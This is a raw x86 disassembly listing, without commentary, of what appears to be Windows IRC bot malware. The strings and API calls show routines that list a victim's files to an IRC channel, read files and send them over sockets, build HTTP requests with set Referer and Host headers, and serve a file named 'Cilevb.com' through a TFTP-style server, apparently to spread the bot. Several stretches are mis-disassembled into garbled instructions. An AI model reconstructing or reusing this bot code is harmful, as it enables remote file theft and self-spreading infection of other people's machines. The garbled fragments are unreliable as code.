		mov	eax, [ebp-10h]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406645
		mov	ecx, offset aAm	; "AM"


loc_406645:				; CODE XREF: seg000:0040663Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406651
		sub	eax, 0Ch


loc_406651:				; CODE XREF: seg000:0040664Cj
		push	ecx
		movzx	ecx, word ptr [ebp-0Eh]
		push	ecx
		push	eax
		movzx	eax, word ptr [ebp-18h]
		push	eax
		movzx	eax, word ptr [ebp-12h]
		push	eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		lea	eax, [ebp-48h]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4154E9
		add	esp, 20h


loc_406678:				; CODE XREF: seg000:00406629j
		test	byte ptr [ebp-388h], 10h
		jz	loc_4067FE
		inc	dword ptr [ebp-8]
		cmp	[ebp+10h], ebx
		jz	short loc_4066D2
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 28h
		jmp	loc_40694E
; ---------------------------------------------------------------------------


loc_4066D2:				; CODE XREF: seg000:0040668Bj
		cmp	[ebp+14h], ebx
		jz	loc_4067BC
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_406772
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406777
; ---------------------------------------------------------------------------


loc_406772:				; CODE XREF: seg000:00406769j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406777:				; CODE XREF: seg000:00406770j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40693F
; ---------------------------------------------------------------------------


loc_4067BC:				; CODE XREF: seg000:004066D5j
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4067E9:				; CODE XREF: seg000:00406826j
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 24h
		jmp	loc_40694E
; ---------------------------------------------------------------------------


loc_4067FE:				; CODE XREF: seg000:0040667Fj
		inc	dword ptr [ebp-4]
		cmp	[ebp+10h], ebx
		jz	short loc_406828
		push	ebx
		push	dword ptr [ebp-368h]
		call	sub_40C218
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067E9
; ---------------------------------------------------------------------------


loc_406828:				; CODE XREF: seg000:00406804j
		cmp	[ebp+14h], ebx
		jz	loc_406928
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_415CF0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_4068C8
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068CD
; ---------------------------------------------------------------------------


loc_4068C8:				; CODE XREF: seg000:004068BFj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068CD:				; CODE XREF: seg000:004068C6j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		mov	eax, [ebp-368h]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		jmp	short loc_40694E
; ---------------------------------------------------------------------------


loc_406928:				; CODE XREF: seg000:0040682Bj
		push	dword ptr [ebp-368h]
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40693F:				; CODE XREF: seg000:004067B7j
		lea	eax, [ebp-248h]
		push	eax
		call	sub_415A6A
		add	esp, 18h


loc_40694E:				; CODE XREF: seg000:004066CDj
					; seg000:004067F9j ...
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		cmp	[ebp+10h], ebx
		jz	short loc_40697D
		push	7D0h
		call	ds:dword_421060	; Sleep


loc_40697D:				; CODE XREF: seg000:004065D6j
					; seg000:004065F1j ...
		lea	eax, [ebp-388h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	loc_4065D0


loc_406995:				; CODE XREF: seg000:004065C5j
		push	dword ptr [ebp+8]
		call	near ptr 0A80000h
		add	eax, 74105D39h
		xor	eax, 99F8458Bh
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp-4]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4154E9
		add	esp, 14h
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------
		cmp	[ebp+14h], ebx
		jz	short loc_4069F2
		lea	eax, [ebp-248h]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx
		jmp	short loc_406A0C
; ---------------------------------------------------------------------------


loc_4069F2:				; CODE XREF: seg000:004069DBj
		push	dword ptr [ebp-8]
		lea	eax, [ebp-248h]
		push	dword ptr [ebp-4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4154E9
		add	esp, 10h


loc_406A0C:				; CODE XREF: seg000:004069D6j
					; seg000:004069F0j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A32	proc near		; CODE XREF: sub_405F7E+13Bp

var_4037C	= byte ptr -4037Ch
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_421078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AEA
		push	esi
		push	ebx
		call	near ptr 0A80000h
		idiv	byte ptr [ebx]
		mov	byte ptr [ecx+6C740C45h], 68h ;	CODE XREF: sub_406A32+AFj
		add	[eax+eax], al
		add	[ebp-4037Bh], cl
		call	dword ptr [esi+50h]
		call	sub_415570
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A94
		mov	edi, [ebp+arg_4]


loc_406A94:				; CODE XREF: sub_406A32+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406ADE
		call	ds:dword_43A31C
		cmp	eax, 2733h
		jnz	short loc_406AE3
		xor	eax, eax


loc_406ADE:				; CODE XREF: sub_406A32+9Bj
		sub	[ebp+arg_4], eax
		jnz	short near ptr loc_406A71+6


loc_406AE3:				; CODE XREF: sub_406A32+A8j
		push	ebx
		call	ds:dword_42106C	; CloseHandle


loc_406AEA:				; CODE XREF: sub_406A32+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A32	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406AEF	proc near		; CODE XREF: sub_406100+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_406B18


loc_406B02:				; CODE XREF: sub_406AEF+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406B0C
		mov	byte ptr [esi+edi], 2Fh


loc_406B0C:				; CODE XREF: sub_406AEF+17j
		push	edi
		inc	esi
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406B02


loc_406B18:				; CODE XREF: sub_406AEF+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B1D	proc near		; CODE XREF: seg000:0040F92Ap

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_43A300
		push	6
		push	1
		push	2
		call	ds:dword_43A408
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_43A388
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BFA
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B96
		mov	eax, offset byte_438FAC


loc_406B96:				; CODE XREF: sub_406B1D+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_43A3D8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		pop	esi


loc_406BFA:				; CODE XREF: sub_406B1D+6Bj
		push	ebx
		call	ds:dword_43A420
		call	ds:dword_43A2E8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4154E9
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C3A
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_406C3A:				; CODE XREF: sub_406B1D+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406B1D	endp

; ---------------------------------------------------------------------------


loc_406C3E:				; CODE XREF: seg000:loc_407129p
					; DATA XREF: seg000:0040737Do ...
		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+8]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp-1Ch]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp-37Ch]
		push	ebx
		push	2
		rep movsd
		inc	dword ptr [ebp-16Ch]
		push	2
		mov	[ebp-0Ch], eax
		mov	[edx+2A0h], eax
		call	ds:dword_43A408
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short near ptr loc_406D00+1
		push	190h
		call	ds:dword_421060	; Sleep
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_4272A4
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-0E0h], ebx
		jnz	short loc_406CE1
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_412D4E
		add	esp, 14h


loc_406CE1:				; CODE XREF: seg000:00406CBCj
		lea	eax, [ebp-780h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-170h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h


loc_406D00:				; CODE XREF: seg000:00406C8Ej
		add	al, 8Bh
		test	[eax+6AFFFFFEh], edx
		adc	[ecx-40h], ch
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 53h
; ---------------------------------------------------------------------------
		mov	ds:dword_43F524[eax], edi
		lea	eax, [ebp-44h]
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	dword ptr [ebp-168h]
		call	ds:dword_43A388
		mov	[ebp-42h], ax
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-40h], ebx
		call	ds:dword_43A3B4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D66
		push	1388h
		call	ds:dword_421060	; Sleep
		dec	dword ptr [ebp-16Ch]
		push	dword ptr [ebp+8]
		jmp	loc_407129
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: seg000:00406D4Bj
		lea	eax, [ebp-378h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-8], eax
		jnz	short loc_406DE4
		push	190h
		call	ds:dword_421060	; Sleep
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_427254
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_412D4E
		lea	eax, [ebp-780h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-170h]
		call	sub_4152B1
		add	esp, 28h
		push	ebx
		call	near ptr 0A80000h
		inc	esp


loc_406DE4:				; CODE XREF: seg000:00406D7Ej
		mov	esi, 200h


loc_406DE9:				; CODE XREF: seg000:004070E3j
		mov	eax, [ebp+8]
		cmp	[eax+2A0h], ebx
		jz	loc_4070E9
		mov	[ebp-880h], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp-0D8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-34h], 5
		mov	dword ptr [ebp-30h], 1388h
		mov	dword ptr [ebp-884h], 1
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-34h]
		push	eax
		push	ebx
		lea	eax, [ebp-884h]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_43A370
		test	eax, eax
		jle	loc_4070DD
		mov	al, ds:byte_438FAC
		mov	ecx, edi
		mov	[ebp-580h], al
		xor	eax, eax
		lea	edi, [ebp-57Fh]
		mov	dword ptr [ebp-4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp-10h]
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		lea	eax, [ebp-0D8h]
		push	80h
		push	eax
		push	edi
		call	ds:dword_43A360
		push	dword ptr [ebp-28h]
		mov	[ebp-0Ch], eax
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	sub_4154E9
		cmp	[ebp-0D8h], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070C7
		cmp	byte ptr [ebp-0D7h], 1
		jnz	loc_407013
		lea	eax, [ebp-274h]
		push	eax
		call	sub_415CF0
		lea	eax, [ebp+eax-0D5h]
		mov	[ebp-14h], eax
		lea	eax, [ebp-274h]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp-0D6h]
		push	eax
		lea	eax, [ebp-274h]
		push	eax
		call	sub_416ED0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FCD
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp-14h]
		push	eax
		call	sub_416ED0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FCD
		push	ebx
		push	ebx
		push	dword ptr [ebp-8]
		call	sub_416E3E
		push	dword ptr [ebp-8]
		lea	eax, [ebp-57Ch]
		mov	[ebp-580h], bl
		mov	byte ptr [ebp-57Fh], 3
		push	esi
		push	1
		push	eax
		mov	[ebp-57Eh], bl
		mov	byte ptr [ebp-57Dh], 1
		call	sub_416BB0
		add	esp, 1Ch
		lea	ecx, [ebp-2Ch]
		mov	[ebp-0Ch], eax
		add	eax, 4
		push	dword ptr [ebp-4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp-580h]
		push	eax
		push	edi
		call	ds:dword_43A3EC
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	offset unk_427200


loc_406F81:				; CODE XREF: seg000:004070C2j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_4154E9
		add	esp, 10h
		cmp	[ebp-0E0h], ebx
		jnz	short loc_406FBB
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_412D4E
		add	esp, 14h


loc_406FBB:				; CODE XREF: seg000:00406F96j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4070DD
; ---------------------------------------------------------------------------


loc_406FCD:				; CODE XREF: seg000:00406EF4j
					; seg000:00406F15j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		push	13h
		push	offset dword_4271EC
		push	edi
		call	ds:dword_43A3EC
		lea	eax, [ebp-274h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-0D8h]
		push	offset unk_4271B0
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		jmp	loc_4070DD
; ---------------------------------------------------------------------------


loc_407013:				; CODE XREF: seg000:00406EB3j
		cmp	byte ptr [ebp-0D7h], 4
		jnz	loc_4070C7
		mov	cl, [ebp-0D5h]
		mov	al, [ebp-0D6h]
		cmp	cl, 0FFh
		mov	[ebp-580h], bl
		mov	byte ptr [ebp-57Fh], 3
		jnz	short loc_407050
		inc	al
		xor	cl, cl
		mov	[ebp-57Eh], al
		mov	[ebp-57Dh], bl
		jmp	short loc_40705E
; ---------------------------------------------------------------------------


loc_407050:				; CODE XREF: seg000:0040703Cj
		inc	cl
		mov	[ebp-57Eh], al
		mov	[ebp-57Dh], cl


loc_40705E:				; CODE XREF: seg000:0040704Ej
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	dword ptr [ebp-8]
		call	sub_416E3E
		push	dword ptr [ebp-8]


loc_40707B:				; DATA XREF: seg002:00424DA8o
					; seg002:00424DBCo ...
		lea	eax, [ebp-57Ch]
		push	esi
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-0Ch], edi
		push	dword ptr [ebp-4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp-580h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_43A3EC
		cmp	edi, ebx
		jnz	short loc_4070DD
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	offset dword_427160
		jmp	loc_406F81
; ---------------------------------------------------------------------------


loc_4070C7:				; CODE XREF: seg000:00406EA6j
					; seg000:0040701Aj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		push	9
		push	offset dword_427154
		push	edi
		call	ds:dword_43A3EC


loc_4070DD:				; CODE XREF: seg000:00406E42j
					; seg000:00406FC8j ...
		cmp	[ebp-0Ch], ebx
		mov	edi, [ebp-10h]
		jg	loc_406DE9


loc_4070E9:				; CODE XREF: seg000:00406DF2j
		push	edi
		call	ds:dword_43A420
		push	dword ptr [ebp-8]
		call	sub_415B40
		mov	esi, [ebp+8]
		dec	dword ptr [ebp-16Ch]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40711D
		push	dword ptr [ebp-170h]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		sahf


loc_40711D:				; CODE XREF: seg000:00407108j
		push	3E8h
		call	ds:dword_421060	; Sleep
		push	esi


loc_407129:				; CODE XREF: seg000:00406D61j
		call	loc_406C3E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407135	proc near		; CODE XREF: seg000:004125F0p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4276C4
		push	eax
		xor	ebx, ebx
		call	sub_4154E9
		cmp	ds:dword_427320, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4071A3
		push	esi
		mov	esi, offset dword_427328


loc_407168:				; CODE XREF: sub_407135+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407168
		pop	esi


loc_4071A3:				; CODE XREF: sub_407135+2Bj
		push	ds:dword_468808
		call	sub_40A9B2
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071FF	proc near		; CODE XREF: seg000:00411F5Dp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jle	short loc_40723B
		mov	eax, [ebp+arg_C]
		push	ds:dword_438FD8[eax*8]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427730
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		jmp	short loc_40724E
; ---------------------------------------------------------------------------


loc_40723B:				; CODE XREF: sub_4071FF+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4276FC
		push	eax
		call	sub_4154E9
		pop	ecx
		pop	ecx


loc_40724E:				; CODE XREF: sub_4071FF+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		leave
		retn
sub_4071FF	endp

; ---------------------------------------------------------------------------


loc_407276:				; CODE XREF: sub_40778B+263p
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407606
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_42732C[eax], ebx
		jz	loc_4074E7
		push	4
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	eax, ds:dword_42C170
		push	edi
		mov	edi, offset dword_439954
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_439B64, eax
		mov	ds:dword_439B60, ebx
		call	near ptr 0A80000h
		push	esi
		push	103h
		mov	esi, offset dword_439A58
		push	offset aCilevb_com ; "Cilevb.com"
		push	esi
		call	sub_416D40
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_439950, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_439BE8, eax
		jnz	short loc_407329
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_439B68
		call	sub_416D40
		add	esp, 0Ch
		mov	ds:dword_439BEC, 1
		jmp	short loc_407343
; ---------------------------------------------------------------------------


loc_407329:				; CODE XREF: seg000:0040730Aj
